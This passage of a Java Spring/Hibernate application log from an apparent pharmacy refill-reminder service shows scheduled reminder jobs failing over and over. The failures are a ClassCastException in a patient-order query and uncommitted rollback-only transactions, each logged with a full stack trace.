org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 05:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 05:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 05:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 05:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 05:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 05:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 05:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 05:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 05:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 05:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at 